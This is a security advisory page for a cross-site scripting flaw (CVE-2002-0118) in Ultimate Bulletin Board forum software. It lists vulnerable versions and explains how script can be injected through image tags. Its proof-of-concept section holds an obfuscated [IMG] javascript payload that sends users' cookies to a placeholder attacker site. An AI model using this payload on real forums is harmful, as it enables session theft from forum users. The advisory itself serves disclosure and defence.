Ultimate Bulletin Board Cross-Agent Scripting Vulnerability

BID:3829

Info

Ultimate Bulletin Board Cross-Agent Scripting Vulnerability

Bugtraq ID: 3829
Class: Input Validation Error
CVE: CVE-2002-0118
Remote: Yes
Local: No
Published: Jan 09 2002 12:00AM
Updated: Jul 11 2009 09:56AM
Credit: This issue was reported to BugTraq on January 9th, 2002 by "Obscure" <[email protected]>.
Vulnerable: Infopop Ultimate Bulletin Board 6.2 .0 Beta Release 1.0
- Apache Apache 1.3.22
- Apache Apache 1.3.20
- Apache Apache 1.3.20
- Apache Apache 1.3.19
- Apache Apache 1.3.19
- Apache Apache 1.3.18
- Apache Apache 1.3.18
- Apache Apache 1.3.17
- Apache Apache 1.3.17
- Microsoft IIS 5.0
- Microsoft IIS 4.0
Infopop Ultimate Bulletin Board 6.0.4 f
Infopop Ultimate Bulletin Board 6.0.3
Infopop Ultimate Bulletin Board 6.0.2
Infopop Ultimate Bulletin Board 6.0.1
Infopop Ultimate Bulletin Board 6.0 Beta
- Debian Linux 2.2
- HP HP-UX 11.11
- OpenBSD OpenBSD 2.8
- Redhat Linux 7.0
- Sun Solaris 8_sparc
Infopop Ultimate Bulletin Board 6.0
Infopop Ultimate Bulletin Board 5.43
Infopop Ultimate Bulletin Board 5.4.7 e
Not Vulnerable:

Discussion

Ultimate Bulletin Board Cross-Agent Scripting Vulnerability

UBB (Ultimate Bulletin Board) is commercial web forums/community software that is written in Perl. It runs on various Unix/Linux variants, as well as Microsoft Windows NT/2000.

UBB is prone to cross-agent scripting attacks via the insertion of HTML tags into image links in messages. Due to insufficient input validation, it is possible to insert arbitrary script code in forum messages/replies. The malicious script code will be executed in the browser of the user viewing the message, in the context of the site running UBB.

This makes it possible for a malicious user to post a message which is capable of stealing another legitimate user's cookie-based authentication credentials.

Exploit / POC

Ultimate Bulletin Board Cross-Agent Scripting Vulnerability

The following example will send cookie-based authentication credentials to the attacker's site:

[IMG]javascr&amp;#x69;pt:document.wr&amp;#x69;te
&amp;#x28;'&lt;img%20src=&amp;#x68;tt&amp;#x70;://attackersite/tools/cookie.plx?
cookie='+escape&amp;#x28;document.cook&amp;#x69;e&amp;#x29;+'&gt;'&amp;#x29;
[/IMG]

Solution / Fix

Ultimate Bulletin Board Cross-Agent Scripting Vulnerability

Solution:
Currently the SecurityFocus staff are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.

References

Ultimate Bulletin Board Cross-Agent Scripting Vulnerability

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